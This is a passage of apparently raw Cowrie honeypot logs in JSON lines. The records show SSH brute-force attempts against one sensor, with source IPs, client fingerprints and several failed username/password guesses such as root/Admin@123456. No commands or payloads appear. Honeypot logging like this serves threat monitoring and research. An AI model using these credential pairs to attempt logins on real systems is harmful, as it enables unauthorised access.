{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:03.429166Z","src_ip":"176.65.132.129","session":"439a7a3b390b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:04.513087Z","src_ip":"176.65.132.129","session":"439a7a3b390b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":37659,"dst_ip":"159.203.135.109","dst_port":22,"session":"51603bf85a3d","protocol":"ssh","message":"New connection: 213.135.168.228:37659 (159.203.135.109:22) [session: 51603bf85a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:05.192834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:05.197681Z","src_ip":"213.135.168.228","session":"51603bf85a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:05.338276Z","src_ip":"213.135.168.228","session":"51603bf85a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"level42","message":"login attempt [root/level42] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:05.913562Z","src_ip":"213.135.168.228","session":"51603bf85a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50596,"dst_ip":"159.203.135.109","dst_port":22,"session":"13d5348b4d90","protocol":"ssh","message":"New connection: 176.65.132.129:50596 (159.203.135.109:22) [session: 13d5348b4d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:06.314034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:06.318830Z","src_ip":"176.65.132.129","session":"13d5348b4d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:06.401218Z","src_ip":"176.65.132.129","session":"13d5348b4d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:06.648796Z","src_ip":"176.65.132.129","session":"13d5348b4d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:07.052129Z","src_ip":"213.135.168.228","session":"51603bf85a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:07.809433Z","src_ip":"176.65.132.129","session":"13d5348b4d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50600,"dst_ip":"159.203.135.109","dst_port":22,"session":"311d58a81efe","protocol":"ssh","message":"New connection: 176.65.132.129:50600 (159.203.135.109:22) [session: 311d58a81efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:09.563591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:09.569054Z","src_ip":"176.65.132.129","session":"311d58a81efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:09.655098Z","src_ip":"176.65.132.129","session":"311d58a81efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:09.902626Z","src_ip":"176.65.132.129","session":"311d58a81efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:10.988277Z","src_ip":"176.65.132.129","session":"311d58a81efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":48350,"dst_ip":"159.203.135.109","dst_port":22,"session":"e410150e7d24","protocol":"ssh","message":"New connection: 45.132.125.41:48350 (159.203.135.109:22) [session: e410150e7d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:11.830243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:11.835880Z","src_ip":"45.132.125.41","session":"e410150e7d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:11.937795Z","src_ip":"45.132.125.41","session":"e410150e7d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poney","message":"login attempt [root/poney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:12.378618Z","src_ip":"45.132.125.41","session":"e410150e7d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50612,"dst_ip":"159.203.135.109","dst_port":22,"session":"13d7de99fd70","protocol":"ssh","message":"New connection: 176.65.132.129:50612 (159.203.135.109:22) [session: 13d7de99fd70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:12.996614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:13.001718Z","src_ip":"176.65.132.129","session":"13d7de99fd70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:13.101621Z","src_ip":"176.65.132.129","session":"13d7de99fd70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:13.353607Z","src_ip":"176.65.132.129","session":"13d7de99fd70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:13.482753Z","src_ip":"45.132.125.41","session":"e410150e7d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.12541127204895,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:14.376191Z","src_ip":"152.42.224.71","session":"a46012e06ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:14.439594Z","src_ip":"176.65.132.129","session":"13d7de99fd70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55916,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfaa6e527ab4","protocol":"ssh","message":"New connection: 176.65.132.129:55916 (159.203.135.109:22) [session: cfaa6e527ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:16.208498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:16.214400Z","src_ip":"176.65.132.129","session":"cfaa6e527ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:16.300389Z","src_ip":"176.65.132.129","session":"cfaa6e527ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:16.546872Z","src_ip":"176.65.132.129","session":"cfaa6e527ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:17.743892Z","src_ip":"176.65.132.129","session":"cfaa6e527ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55922,"dst_ip":"159.203.135.109","dst_port":22,"session":"719bf43cff86","protocol":"ssh","message":"New connection: 176.65.132.129:55922 (159.203.135.109:22) [session: 719bf43cff86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:19.373778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:19.378769Z","src_ip":"176.65.132.129","session":"719bf43cff86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:19.464573Z","src_ip":"176.65.132.129","session":"719bf43cff86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:19.710519Z","src_ip":"176.65.132.129","session":"719bf43cff86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:20.795907Z","src_ip":"176.65.132.129","session":"719bf43cff86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55926,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bff4bbeee84","protocol":"ssh","message":"New connection: 176.65.132.129:55926 (159.203.135.109:22) [session: 2bff4bbeee84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:22.756424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:22.761538Z","src_ip":"176.65.132.129","session":"2bff4bbeee84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:22.844229Z","src_ip":"176.65.132.129","session":"2bff4bbeee84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.188575744628906,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:22.876345Z","src_ip":"152.42.224.71","session":"a66a90e25159","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:23.090430Z","src_ip":"176.65.132.129","session":"2bff4bbeee84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:24.176821Z","src_ip":"176.65.132.129","session":"2bff4bbeee84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.77301859855652,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:25.796777Z","src_ip":"152.42.224.71","session":"5f1650886f33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35564,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcbef5e5a9fb","protocol":"ssh","message":"New connection: 176.65.132.129:35564 (159.203.135.109:22) [session: fcbef5e5a9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:26.070482Z"}
